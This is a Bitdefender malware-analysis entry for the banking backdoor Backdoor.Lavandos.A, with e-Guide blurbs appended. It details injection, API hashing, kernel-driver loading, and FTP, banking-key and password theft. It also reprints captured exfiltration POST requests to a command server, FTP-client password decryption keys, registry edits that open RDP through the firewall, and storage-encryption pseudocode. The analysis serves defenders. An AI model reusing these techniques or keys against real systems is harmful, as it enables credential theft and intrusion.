Centre de sécurité Bitdefender

Backdoor.Lavandos.A

Propagation : medium
Dégât : high
Size: approx 90K
Détecté : 2011 Jan 06

SYMPTOMS:

Extra http trafic.
Presence of:
        - HKLM\Software\Setting\PnPData
        - HKLM\Software\Setting\CryptoHash
        - HKLM\Software\Setting\CoreSettings
        - HKLM\SOFTWARE\SETTINGS\ErrorControl
        - HKLM\SOFTWARE\SETTINGS\DriveSettings
 

TECHNICAL DESCRIPTION:

The original file injects 3 dlls(setupapi.dll, dll.dll, lib.dll) and 1 driver(sfc.sys).
In spoolsv.exe process it injects lib.dll, dll.dll and the driver and in iexplore.exe it injects dll.dll .The files dropted are:

- depending on the browser on the infected computer: <%program file folder%> \ [IExplorer | Mozila Firefox | Opera] \ \setupapi.dll

 - <%system folder%>\sfcfiles.dll (lib.dll).

The clean sfcfiles.dll is cripted and packed in HKEY_LOCAL_MACHINE\SOFTWARE\SETTINGS\CryptoHash and also moved in sfcfiles.dat. The file sfcfiles.dat is deleted after a restart. The infected sfcfiles.dll has the same size and the same attributes(creation time, modification time) as the original file.

Implementation details :

The library names are crypted and it creats a new thread for decription every time it needs to load a library.
    Example:
         0 54 8 3F 34 37 7B 31 3D 76 27 <-> kernel32
The imported function names used are searched using a hash. It loads the corresponding library and calculates a hash for every function name. If the hash is equal with the hash for the searched function it retrieves the function address.
    Example:
         1F515831h  <-> GlobalAlloc        

Ida code:

It makes sure that the searched function code doesn't start with a INT3(0xCC) [anti-debbuging]. If it finds a INT3 as a first byte of the function the returned address is a wrong one and the program will crash soon.

Ida code:

The code is obfuscated:

Ida code: compute hash function
        - normal code:
      
       

        - obfuscated code:
          
        .

Thease 3 technics are used in every component file.

The driver is loaded with ZwSetSystemInformation. This driver is keeped on the disk for a very short time in /drivers/sfc.sys.
It opens the browser with:
        rundll32 url.dll_FileProtocolHandler http://www.google.com
 
Each component file has some precise tasks:

LIB.DLL

1 Download for update.

It decrypts the access server from registry and downloads a package that contains 3 buffers packed whith aplib. It seems that on the server it has more then one version for every file. At every request a random version of the file is chosen.
 After unpacking the package, it crypts the buffers and saves them in 3 registry values:

        - HKLM\SOFTWARE\SETTINGS\CoreSettings  -> crypted dll.dll;
        - HKLM\SOFTWARE\SETTINGS\ErrorControl  -> crypted shellcode;
        - HKLM\SOFTWARE\SETTINGS\DriveSettings -> crypted driver sfc.sys

It accesses the server name from registry value HKLM\SOFTWARE\SETTINGS\HashSeed. This data is keeped crypted :
        http://mv[remove]o/page.php
        http://atl[remove]to/page.php
        http://sub[remove]ge.php
        http://ser[remove]ge.php
        http://allw[remove]ge.php
        http://go[remove]ge.php

wireshark capture:
        GET /vito/page.php?id=249D9E66C4923FA7&uid=9&link=a0&cookie=a7 HTTP/1.1
        Accept: */*
        Accept-Encoding: gzip, deflate
        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
        Host: mv[remove]com
        Connection: Keep-Alive

        HTTP/1.1 200 OK
        Server: nginx/0.7.65
        Cache-Control: max-age=1
        Content-Encoding: gzip

Examples of request:
- GET /vito/page.php?query=249D9E66C4923FA7&hl=9&n=mozilla&do=index&client=a7&article=a8&id=unknown HTTP/1.1
- GET /vito/page.php?client=unknown&id=249D9E66C4923FA7&n=a3&var=a7&article=9&key=mozilla HTTP/1.1
- GET /vito/page.php?uid=a8&link=us&query=opera&lr=en&key=077F1DE5C2B8411D&id=a3&client=0                

2 Loads the driver.
    It decrypts the data from the registry value DriveSettings and loads the driver with LoadDriver() function. 

DLL.DLL

1 Download for update.

It downloads a packate that contains 3 buffers packed with aplib.
After unpacking the package, it saves the package in 2 registry values (after it crypts the corresponding buffers) and one file:
        - HKLM\SOFTWARE\SETTINGS\HashSeed -> crypted server names
        - HKLM\SOFTWARE\SETTINSG\PnPData  -> crypted 15 different dll.dll
        - <%system folder%>\sfcfiles.dll  -> lib.dll
All the 15 dlls from PnpData are injected in allmost all processes.

2 Hooks some functions:

    LdrGetProcedureAddress
    InternetOpenA
    InternetopenW
    WSAStartup

Ida Code:

3 Sends all private information:
       
All information is stored in registry key HKLM\Software\Microsoft\Windows. The names of the values represent  hashs for the stored data. It enumerates the values from the registry key every time that a value changes (RegNotifyChangeKeyValueEx), it reads the data from the values, crypts it and sends it.
The post message is:
    
        POST /vito/page.php?page=a9&lr=rnd&client=index&query=a3&do=rand&    key=249D9E66C4923FA7&n=0&cookie=index HTTP/1.1
        Content-Type: multipart/form-data; boundary=5c6438acde3a
        Host: mv[remove].com
        Content-Length: length(data)
        Cache-Control: no-cache

        --5c6438acde3a
        Content-Disposition: form-data; name="d"; filename="dd"
        Content-Type: application/octet-stream

        swapcase(base64(data from value))

4 Writes commands for the other 15 dlls:

It receives data (InternetReadFile), 0x7d000 bytes maxim, and if the buffer starts with "0000" it stores the buffer in a registry value.
The name of the command registry value is a hash computed on 9 bytes ("0000", the marker of the dll and a "\x00" byte).
The received buffer has the following structure: "[0000][marker][command]";
Exemple: "[0000][0012][0]" - the 12-th dll, command '0', ("[" "]" were added just for better understanding ).
The commands are similar for all the dlls:

"HC" -> Deletes the value HKLM\Software\Microsoft\Windows\CurrentVersion\AppData.
"CS" -> It takes a screenshot and the bmp format is encoded in jpeg format. This picture is  crypted  and saved in HKLM\Software\Microsoft\Windows\hash_string.
"BK" -> deletes the key  HKLM\Software\Settings
          -> crypts the string "BYE!" and sets the value  "SOFTWARE\Settings\Properties"    
          -> decrypts the data from the value CryptoHash
          -> deletes the key  HKLM\Software\Settings
          -> moves the file "/sfcfiles.dll" in "/sfcfiles.dll.bak" and writes in "/sfcfiles.dll"  the decrypted data from the value CryptoHash(which is the original sfcfiles.dll file)
"SK" -> it switches the desktop to "DefMainWin32XAWW"
"SB" -> deletes the key  HKLM\Software\Settings
           -> crypts the string "BYE!" and sets the value  "SOFTWARE\Settings\Properties"    
           -> decrypts the data from the value CryptoHash
           -> deletes the key  HKLM\Software\Settings
           -> moves the file "/sfcfiles.dll" in "/sfcfiles.dll.bak" and writes in "/sfcfiles.dll" the decrypted data from the value CryptoHash(which is the original sfcfiles.dll file)
           -> it switches the desktop to "DefMainWin32XAWW" and file work
"BE" -> it writes in " Software\Microsoft\Windows\AWKeyData" value a part of the command
"DU"and "LU" ->it decrypts a part of the command and writes it in a temp file which is executed afterwards.

SETUPAPI.DLL

Executes the shellcode.
It allocates some memory for decrypting the shellcode from ErrorControl registry value, the dll.dll   from CoreSettings value, the server names from HashSeed value and the 15 dll.dll from PnPData    and then runs the shellcode. The shellcode loads the dll and, in the same way as the original file (based on a hash), it finds out the address of  the DllRegisterServer function and then calls it. The server names are used by dll.dll for download.
Will be presented below the 15 dlls from PnPData.

Dll.dll_1 from PnPData

It hooks some functions:
        - LdrGetProcedureAddress
        - gethostbyname    
        - WSAAsyncGetHostByName
        - connect
        - send

The new LdrGetProcedureAddress checks if the name of the function, whose address is to be returned, has the same hash as one as the hooked function .
If it does the returned address is the hooked function address.

The new gethostbyname and the new WSAAsyncGetHostByName store the host name in a buffer.

The new connect function stores the ip address and port from sockaddr structure in some buffers.

The new send function takes the information about the ip address, socket port, hostname, username, password from the FTP protocol.
The last 3 parts of the information (hostname, username, password) are crypted with base64. A hash is computed for this buffer and if it does not exists in AppData value it is stored. Also the buffer is crypted and kept in HKLM\Software\Microsoft\Windows\hash_string (hash_string :if the hash is 0x1234abcd the hash_string is"1234abcd").

Ida code:



Pseudocode example

storeInValue function: (pseudocode)

{

input: 

    buffer  = ip port swapcase(base64(hostname))| swapcase(base64(username))| swapcase(base64(password))

    size_buffer  = strlen(buffer_2) + 8; buffer2 = swapcase(base64(hostname))| swapcase(base64(username))|swapcase(base64(password))

    flag_store_hash = 1; to store or not to store hash in HKLM\Software\ Microsoft\Windows\ CurrentVersion\ AppData

   buffer = [marker][buffer][400h] # the marker is the dll id

   hash_buffer = hashfunction(buffer)

   hash_string = encode_hex(hash_buffer)

   if flag_store_hash:

        AppData_hashes = RegQueryValueEx( HKLM\ Software\ Microsoft\ Windows\ CurrentVersion\ AppData )

        if hash_buffer in AppData_hashes:

              return 0;

        else:

             RegSetValueEx( HKLM\Software\Microsoft\Windows\CurrentVersion\AppData, AppData_hashes  + hash_buffer )

}

# first rol cript

  index = 0

  for x in buffer:

       buffer[index] = rol(x, hash_string[index%len_hash_string])

       index += 1

# second xor cript

  index = 0

  for x in buffer:

      buffer[index] = x ^ hash_string[index%len_hash_string]

      index += 1

 RegSetValueEx( HKLM\Software\Microsoft\Windows\hash_string, buffer )

Dll.dll_2 from PnPData

Mainly it steals information( ip, port, username, passwords ) about the ftp servers. It searches for the corresponding registry keys and files to get the wanted information.
All the ftp strings, registry and file names are crypted.

    1 FlashFXP :
        - Software\FlashFXP\AppData
        - Software\FlashFXP\DataFolder
        - Software\FlashFXP\Install Path
        - \FlashFXP\Sites.dat
        - the key for password decription :yA36zA48dEhfrvghGRg57h5UlDv3
    2 SecureFX :        
        - Software\VanDyke\SecureFX\Config Path    
    3 WS_FTP :
        - Software\Ipswitch\WS_FTP\DataDir
        - WS_FTP\Sites\ws_ftp.ini
    4 CoreFTP :
        - Software\FTPWare\CoreFTP\Sites stors passwords
    5 FileZilla :
        - Software\FileZilla\Install_Dir
        - \FileZilla.xml
        - the key for passwords decription : FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ
    6 FTP Voyager :    
        - .DEFAULT\Software\Rhino Software\FTP Voyager\FTP
        - .DEFAULT\Software\Rhino Software\FTP Voyager\DataDirectory
        - FTPVoyager.ftp    
    7 WCX_FTP :
        - \wcx_ftp.ini
    8 BPFTP
        - Software\BulletProof Software\Options
        - Software\BulletProof Software\SitesDir
    9 GlobalSCAPE    
        - Software\GlobalSCAPE\Settings\Security\SiteManagerPath
    10 CoffeeCup Software :
        - Software\CoffeeCup Software\Internet\Profiles
    11 FTP Commander Pro :
            - SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro\UninstallString
        - ftplist.txt
     12 SmartFTP :
        - Software\SmartFTP\\Settings\General\Application Data Folder
     13 LeapFTP :
        - SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\LeapFTP\ UninstallString
        - Sites.ini
    14 FarFTP :
        - Software\Far\Plugins\FTP\Hosts\HostName

A buffer is created: buffer = [marker(4)][information][400h].
A hash is computed for this buffer and is kept, if it does not already exists, in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData.
After the information is crypted it is stored in HKLM\Software\Microsoft\Windows\hash_string.

Dll.dll_3 from PnPData

It hooks some functions:
        - TranslateMessage
        - ExtTextOutA
        - TextOutW
        - CreateFileW    
        - LdrGetProcedureAddress
        - LdrLoadDll     

The new TranslateMessage function has keyloger role. It intercepts the pressed keys and saves them in a buffer. If the class name of the foreground window has  "java.sun.awt.bifit" (bifit ->banking and finances technologies on internet)the wparam parameter is chenged to printscreen key code (the screenshot is saved in the clipboard).

The new ExtTextOutA and TextOutW verifies if the text starts with "http" and if so, it stores it in a registry value.
    
The new CreateFileW
        If the file starts with "iBKS" it creates a structure containing :
            - "FILE"
            - 0x3EF
            - length of the file name
            - file name in widechar
            - file data
This file  contains the user's private encryption key. The scope is to steal information about a specific public-key-based Internet banking system which is used by a large number of Russian and Ukrainian banks.
A similar buffer is created [marker(2)][info][400h]. The hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData and the crypted data in HKLM\Software\Microsoft\Windows\hash_string.

It starts 2 more threads:
  - thread1
            Creates a buffer :["DATA1007"][flag module file name][found "java.sun.awt.bifit" string flag], organized as [marker(2)][buffer][400h].
            The hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData and the crypted data in HKLM\Software\Microsoft\Windows\hash_string.
                      
   - thread2
            It gets the data from the clipboard and saves it as "C:| data |:C". The buffer [marker(2)][info][400h] is created.
            The hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData and the crypted data in
            HKLM\Software\Microsoft\Windows\hash_string.

The new LdrGetProcedureAddress checks if the name of the function whose address is to be returned has the same hash as one as the hooked function . If it does the returned address is the hooked function address.

Dll.dll_4 from PnPData

It downloads new version for the content of the key values: CoreSettings, DriveSettings, ErrorControl.
It hooks some functions:
    - CreateFileA
    - recv
    - LdrGetProcedureAddress
    - LdrLoadDll

The new CreateFileA :
        If the size of the file is less than 0xFA00, it creates a structure contining :
            - "FILE"
            - 0x3FB
            - length of the file name
            - file name
            - file data
 A buffer [marker(3)][data][400h] is computed and the resulting hash is saved in AppData if it doesn't already exists.
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
In the same manner it saves the file user.ini and all the *.cnf, *.ini files and the file interpro.ini from the current module folder.
The Inter-PRO use is the most effective in electronic payment systems like Bank-client ones, based on Web-technologies and focused on servicing of the remote clients through the Internet, or in any other systems where the authorized confirmation of client request for service is needed (in electronic trade systems, electronic insurance, paid information service, etc.).
      
The new recv function creates a new thread that reads and executes the command from the command registry value.
If the data received begins with "POST" it checks if the received data containes "5c6438acde3a". If it doesn't containes this strings (it,s not one of its own POST) and if it finds one of the strings "pass" or "pwd" it saves the buffer received: 
        - the hash for [marker(3)][buffer][400h] in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData
        - the crypted buffer in HKLM\Software\Microsoft\Windows\hash_string
Saving POST-request parameters(username, password) it can target the Inter-PRO banking system.

Dll.dll_5 from PnPData

It hooks some functions :
        - CreateFileW
        - InternetConnectA
        - InternetConnectW
        - InternetWriteFile
The new CreateFileW :
 It checks if the name of the file contains some extensions through hashes. The extensions are:
            69806C03 => .js
            630dc380 => .css
            0641b482 => .dat
            906dae01 => .dll
            1f10c0b8 => .exe
            9adad019 => .flv
            c033b3c5 => .gif
            17c6e3a0 => .htc
            b4e835f6 => .htm
            1a72cae0 => .ico
            5f3b5800 => .jpg
            32f00900 => .png
            1e5e505c => .swf
            9d74560b => .ttf
            64d0302e => .txt
            3c344800 => .xml
    
 If the file name doesn't contain any of thease extensions, it creates a structure:
            - "FILE"
            - 0x3F9
            - length of the file name
            - file name
            - file data
 A buffer [marker(5)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.    
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.

The new InternetConnectA and the new InternetConnectW :
It gets the active window and for every child window gets the text with SendMessage(hWindow,WM_GETTEXT,lenText,buffer).
If the buffer starts with "http" and it contains the string "bsi.dll" it stores the link. By retrieving data from an HTTP request to bsi.dll some can collect personal information, targeting the BS-Client  banking system.

It creates a thread that parses every logical drive. If the drives are removable, fixed or remote it searches throught all the folders recursively and if the path of the files contains one of the following strings and the string "CRYPTO", it saves the file in the same manner as before if the file has a size smaller than 0x3E800.
            0328f7db => \sec
            2e03f00c => .000
            d8003732 => \cert
            7fa6dfc8 => \keys
            87AC0CB7 => \crypto

It also creates an other thread that goes through SOFTWARE\Crypto Pro\Settings\USERS key. It enumerates all the subkeys and stores all the values names and values data:
            value name
            value data
            value name
            value data
            value name
            value data...
This information is added to the string:
           string = "FLAVURL: the link stored from the new InternetConnectA or InternetConnectW \r\n information" and will be stored:

 - A buffer [marker(5)][string][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.    
 - The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.

CryptoPro CSP makes possible the use of reliable, certified cryptographic information-security tools as components of the wide range of tools and software.

The new InternetWriteFile :
If the number of bytes to write are between 5 and 0xc350 the string :
            data = "FLAVURL: the link stored from the new InternetConnectA or InternetConnectW \r\n the buffer to be written"  will be stored:
 - A buffer [marker(5)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.    
 - The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.

Dll.dll_6 from PnPData
    
It hookes the function CreateFileW and in the new function stores the file if the file name has the extension ".JSK", string identified by hash( 0F027E800).
The JKS file type is primarily associated with 'keytool' by Sun Microsystems, Inc.. Keytool is a key and certificate management utility. It allows users to administer their own public/private key pairs and associated certificates for use in self-authentication (where the user authenticates himself/herself to other users/services) or data integrity and authentication services, using digital signatures. It also allows users to cache the  public keys (in the form of certificates) of their communicating peers. A keystore is a storage facility for cryptographic keys and certificates.

Dll.dll_7 from PnPData

It hooks the RCN_R50Init function from FilialRCon.dll(used by Raiffeisen bank) for intercepting the private data(username,password) before encryption.

Dll.dll_9 from PnPData

It hooks a function from sks2xyz.dll.
The new function from sks2xyz.dll stores the file sign.cer(self-signed certificate used by Faktura bank)

Dll.dll_10 from PnPData

It builds a address table, containing the addresses of needed functions. Every function call is relative to the begining of the table to make the analysis harder.
It creates multiple threads that are synchronized with mutexes.
It hooks :
        - InternetReadFile
        - HttpSendRequestA                          
        - HttpSendRequestW
        - InternetReadFileExA
        - InternetReadFileExW
        - InternetCloseHandle
        - InternetQueryDataAvailable
        - the callback function assigned to the handle used by  asynchronous InternetConnection() function

The new functions have the role to steal and store personal information : username and passwords corresponding to the current internet connection.

    Ida Code:
   
       

   

Thease pieces of information are concatenated in a single string like:

        BA_urlString
        user=usernameString&pass=passwordString.

This string is crypted and stored in a registry value if the URL string contains words as pay, payment, money, bank, /admin, faktura words that are identified using hashes:

        - 0C200C900 => pay
        - 0C32DE341 => payment
        - 0CCA96A40 => money
        - 0FDB6305E => /admin
        - 79304AC0  => bank
        - 3C3B45C5  => faktura

Dll.dll_11 from PnPData

Hooked functions:
        - PFXImportCertStore
        - CertFindCertificateInStore

The new PFXImportCertStore:
   It stores the information:
      data = CRGR base64(password) | base64(subject name)i | base64(issuer name)i |       base64(cript(proprety of the certificate context)) |^ [marker(0xC)][data][400h]

It also creates a thread that gets and stores information about the most common system certificates.

Dll.dll_12 from PnPData

It has an advanced backdoor behaviour.
Depending on the module is running from identify by the hash: 0EDBCDA59h => WINLOGON.EXE:
If it's not running from winlogon.exe:

Values Software\Microsoft\ManualConfigA32 and Software\Microsoft\ManualConfigA64 keeps configuration information:
        - ManualConfigA32 keeps the day of the month when ManualConfigA64 was set.
        - data from ManualConfigA64 could be '0' or '1' or '2'
First it checks if in ManualConfigA32 is the current day of the month, and if it is it reads data from ManualConfigA64.
If it doesn't find current day in ManualConfigA32 will ask the server(storing something in a value key) for a value to be set in ManualConfigA64:

Ida code:


      
When asking the command it does the following:
        It stores the string "1111" :
        A buffer [marker(12h)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.    
        The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.

In a wireshark capture it can be observed :
    
            POST /vito/page.php?page=a9&lr=rnd&client=index&query=a3&do=rand&key=249D9E66C4923FA7&n=0&cookie=index HTTP/1.1
            Content-Type: multipart/form-data; boundary=5c6438acde3a
            Host: mv[remove].com
            Content-Length: 167
            Cache-Control: no-cache

            --5c6438acde3a
            Content-Disposition: form-data; name="d"; filename="dd"
            Content-Type: application/octet-stream

            eGaaadeXmthsbWaaaaaaap8aaad/aaaa

If we apply a series of functions :

"eGaaadeXmthsbWaaaaaaap8aaad/aaaa".swapcase().decode('base64').encode('hex') =>1200000031313131d207000000000000ff000000ff000000

          marker          "1111"     push 7D2h      arg_0         arg_4      arg_8
        12000000 [31313131] [d2070000] [00000000] [ff000000] [ff000000]
 And server responses with the following buffer "000000120" : [00000012][0],  00000012 is the dll id, and '0' is current command from server
The other 2 commands could be '1' or '2'.

If it didn't receive today from server  a command  like '1' or '2', then will not start the next two threads.
The threads are sincronized by mutexs: "wbfxet" for the first thread "xzxgavonkq" for the second thread.
The threads execute the same function but depending on the parameter, will do different things.

The first thread is specialized for Remote Desktop Connections:
       
It changes "SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections" value to 0 to enable the remote connections. It opens the Remote Desktop Service,  TermService and checks its status. If the service is not running it will be started. Terminal Services, is one of the components of Microsoft Windows  (both server and client versions) that allows a user to access applications and data on a remote computer over a network, using the Remote Desktop Protocol (RDP).

It sets the value 
"SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\3389:TCP"  with  "3389:TCP:*:Enabled:@xpsp2res.dll"  to change the Windows Firewall configuration to allow access to the default port for Remove Desktop Connections.

The second thread specialized for oppening a server on random port:

Adds the module to the authorized application by changing the Windows Firewall configuration:
     It adds the value "SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy  \StandardProfile\AuthorizedApplications\List\ModuleName"
     The data value is "PathModule :*:Enabled: ModuleName".
It searches for a valid port to open a server, it tries just 4 times to find a valid port higher then 1000.
    
Both threads:
It decompress a component dll(packed with aplib and contained in current dll), PortexClient.dll, and gets the address of MappingServer function and executes it.
 The function is called with the following parameters:

Ida code:



The ip 188.165.214.122 resolves to "ns211520.ovh.net".

If it's running from winlogon.exe:

It opens a Desktop object with "Winlogon" name and assigns it to the calling thread so it can show some message boxes even if no user is logged on the computer.
It searches for that "string_hash_computer_name" using EnumWindows -> EnumChildWindows -> GetWindowTextA
It waits untill it finds it or untill it finds a secret key identified by a hash value: "9A79F222h". If that secret key is found, will show a message box  with the following information:  "key",  "string_hash_computer_name".
If it exists it deletes the registry key "SYSTEM\CurrentControlSet\Control\Terminal Server\Dos" to reset RDP Timeout settings.
If deletion succeeds will show a message box containing: "Origami: RDP Timeout settings was modified - reconnect to apply it"
It has an option to open cmd.exe shell and it will show a message box containing "Origami: Load cmd.exe shell?" with uType:
    MB_ICONQUESTION|MB_YESNO|MB_SERVICE_NOTIFICATION.
For the "Yes" option it will run that cmd.exe using WinExec.
After that a message box containing "Origami: press OK as finished to load explorer. Note - all your processes will be hided until you press OK" will be displayed. For the "OK" option a explorer.exe will be opened and a remote connection will be available in the infected sistem.
The cmd.exe can in any scope and it isn't visible for the user.

Dll.dll_13_14 from PnPData

It stores some files(string containing restriction) and all the ".key" files in that folder. Files with the extension ".KEY" :
contain registration information or a security code for a software program; often created when the program is registered; typically stored in the program's application folder or the system preferences folder.
Struct for Dll.dll_13 from PnPData:
        - "FILE"
        - 0x3ED
        - length of the file name
        - file name
        - file data
A buffer [marker(13h)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.    
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.

Struct for Dll.dll_14 from PnPData:
        - "FILE"
        - 0x3E9
        - length of the file name
        - file name
        - file data
A buffer [marker(14h)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.    
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.

It get the active window and for every child window gets the text with SendMessage(hWindow,WM_GETTEXT,lenText,buffer).
If the buffer starts with "http" and it contains the string "ibc" it stores the link.
    
Dll.dll_15 from PnPData

    - keylogger function
    - deletes the key : Software\Martin Prikryl\WinSCP 2\Configuration\Security
    - stores some information about the foreground windows.
    - stores some file ; the file name must not contain some strings.

The driver:

It creates a system thread that monitors the change of the "\Registry\Machine\Software\Settings" and sets a flag if the function ZwNotifyChangeKey returns STATUS_NOTIFY_CLEANUP
This status indicates that the notify change request has been completed due to closing the handle that made the notify change request.
It decripts the data from the value "Properties". If it is "BYE!" it sets a flag.
Decrypts the data from the values : ErrorControl, CoreSettings, HashSeed and PnPData and builds a buffer with the following structure:

buffer with registries data = data ErrorControl
                                                  size CoreSettings
                                                  data CoreSettings
                                                  0xBA
                                                  0x0BAD1C0DEh
                                                  size data ErrorControl
                                                  size data HashSeed
                                                  data HashSeed
                                                  size PnPData
                                                  data PnPData
The key for decryption is taken from the DigitalProductId value for  the values ErrorControl, CoreSettings, PnPData and from a buffer with descending values (from 0xFF to 0x00) for the value HashSeed.
It creates a double chained list containing for retaining information about the injected processes :
LIST:
    - pointer to the next element
    - pointer to the previous element
    - the process ID
    - a pointer to the buffer with the registries data
    - a pointer to a memory descriptor list for the buffer
    - the starting address of the mapped pages
    - the size of the buffer mentionate above
    - the inject phase (initial 0)
    - the entry point of the current process
    
In the caller-supplied load-image callback routine  :
VOID
(*PLOAD_IMAGE_NOTIFY_ROUTINE) (
        IN PUNICODE_STRING  FullImageName,
        IN HANDLE  ProcessId, // where image is mapped
        IN PIMAGE_INFO  ImageInfo
        );
Checks if the flag corresponding to the data("BYE!") value "Properties" is set and, if so, it leaves the routine.
It searches for ".exe", "\system32\ntdll.dll", "wininet.dll", "ws2_32.dll", "iertutil.dll", "msvbvm60.dll" in the FullImageName .
If the FullImageName contains ".exe" it searches the current process pid in the list discribed above and if it does't exist it adds a new node.
If the FullImageName contains "\system32\ntdll.dll" :
        - it identifies the function name ZwProtectVirtualMemory by hash (0D3DA486Dh) and gets the address using the KeServiceDescriptorTable:

Ida code:



        - it allocates a memory descriptor list for the buffer described above and maps the physical page.
If the FullImageName contains "wininet.dll" or "ws2_32.dll" or "iertutil.dll" or "msvbvm60.dll" :
If the node corresponding to the current process exists:

          - The inject phase becomes 1.

          - It creats a system thread(that executes in kernel mode - PsCreateSystemThread) that attaches itself to the running process. It patches the data from the ErrorControl value that represents the shellcode:
            pusha
            mov eax, the first dword at EntryPoint for the current process
            mov ebx, the second dword at EntryPoint+4 for the current process
            mov edi, adrOfEntryPoint for the current process

        - At the EntryPoint of the current process puts:
            push adressOfTheMappedPages
            ret
          where addressOfTheMappedPages points to the beginning of shellcode
       
        - After the patch the inject phase becomes 2.    

In a caller-suplied process-creation callback routine :

VOID
(*PCREATE_PROCESS_NOTIFY_ROUTINE) (
        IN HANDLE  ParentId,
        IN HANDLE  ProcessId,
        IN BOOLEAN  Create
        );

        If the last thread within the process has terminated for the corresponding node in the list :
        - it unmaps the pages
        - it frees the coresponding memory descriptor list
        - it releases the mutex which corresponded to the pid
        - it frees the structure

If the driver doesn't runs as a service:
   - It doesn't create the first thread.
  - Takes the data from the registry value DriveSettings and writes it in "\??\data from SystemRoot value\system32\drivers\sfc.sys".
  - It creates "\Registry\Machine\SYSTEM\CurrentControlSet\Services\sfc".
  - It set a dword value, "Type"- data value : 1.
  - It loads the driver "\Registry\Machine\SYSTEM\CurrentControlSet\Services\sfc" into the system.
  - It deletes "\??\data from SystemRoot value\system32\drivers\sfc.sys".
 

Removal instructions:

 Please let BitDefender disinfect your files.

ANALYZED BY:

Cristina Vatamanu, virus researcher
Centre de sécurité Bitdefender
Profitez d'Internet en toute sécurité. Cliquez ici si vous souhaitez recevoir les dernières actualités et alertes sur les menaces, les virus et les scams informatiques.

e-Guides de Bitdefender

La série des e-Guides Bitdefender est une initiative didactique qui vise à fournir à la communauté des lecteurs et utilisateurs de Bitdefender des informations utiles sur les e-menaces et les problèmes de sécurité de l’univers informatique, tout en leur offrant également des conseils pratiques et des solutions viables répondant à leurs besoins de protection en ligne. Les analystes sécurité de Bitdefender partagent leurs connaissances sur la prévention, l’identification et la suppression des malwares, et en particulier sur la question de la vie privée en ligne et les différentes technologies, les défenses, et les méthodes de prévention contre la cybercriminalité.

Couvrant des sujets allant de la protection en ligne des enfants et de leur famille à la sécurisation des environnements professionnels, en passant par la sécurité sur les réseaux sociaux et à la prévention des pertes de données, la série des e-Guides s’adresse à une audience large de petites organisations et d’utilisateurs individuels préoccupés par la sécurité et la protection de leurs réseaux et de leurs systèmes. Les e-Guides traitent également des problèmes relatifs à l’activité quotidienne des responsables de la sécurité des systèmes informatiques, des administrateurs systèmes et réseaux, des développeurs de technologies de sécurité, des analystes et des chercheurs.

Comment bloguer en toute sécurité

Trucs et astuces sur comment sécuriser votre blog et votre identité

Safe Blogging Guide

Le blog est un des moyens les plus populaires d’expression écrite sur le web, avec plus de 150 millions de blogs répertoriés dans le monde. Alors que des lecteurs réguliers cherchent des informations et articles, les escrocs y trouvent un intérêt tout différent. Ils sont à la recherche d’informations privées et d’espace de stockage à moindre coût pour leurs attaques. Ce ne sont que 2 exemples parmi tant d’autres d’intérêt pour les cyber-pirates.

Ce guide couvre les grandes lignes du « blogging » en toute sécurité et se concentre sur les blogs personnels, qu’ils soient eux-mêmes hébergés ou via des fournisseurs spécialisés.



Guide de sécurisation des réseaux sans fils

Trucs et astuces sur comment protéger votre réseau personnel des intrusions

Securing Wireless Networks Guide

Ce guide vous expliquera les meilleures pratiques quand on utilise des réseaux sans fil, mais aussi à configurer efficacement votre routeur ou point d’accès, pour prévenir de toute intrusion.

Ce document vise les utilisateurs d’ordinateurs qui ont déployé ou prévoient de déployer un réseau sans fil à la maison. Actuellement les moyens de communication sans fil deviennent de plus en plus importants dans nos vies, et les cybercriminels tentent d’exploiter toutes les failles de sécurité dans nos réseaux sans fil, afin d’intercepter le trafic et des informations ou utiliser notre connexion internet à des fins illégales.



Guide de protection des enfants en ligne

Comment sécuriser et protéger les activités numériques de vos enfants


Ce document est destiné aux familles, parents et enseignants, et son but est d’aider à sécuriser les activités numériques des enfants et adolescents. A une époque où la production de masse et l’accessibilité des ordinateurs ont répandu l’usage domestique de ces matériels, les enfants sont familiarisés avec les ordinateurs et Internet à un âge très précoce. En dépit des avantages indéniables qu’il présente en termes de communication, le Web peut aussi être un lieu dangereux, où des menaces visent directement leur classe d’âge et leurs ordinateurs, à la maison comme en classe.

Cet e-Guide traite des principaux risques et dangers auxquels sont exposés les enfants sur Internet : cyber-agression, exposition à des contenus déplacés, dépendance au web, et autres activités nocives, tout en mettant également l’accent sur des sujets comme le malware, le phishing, le vol d’identité et le spam, auxquels les adolescents, exactement comme les autres utilisateurs d’Internet, sont exposés aujourd’hui. La section Conseils de sécurité est destinée à aider parents et enseignants à mieux comprendre et faire face à ces problèmes concernant les enfants.



Guide de sécurité en ligne pour les internautes aux tempes grisonnantes

Comment protéger la propriété intellectuelle et financière des cyber-pirates


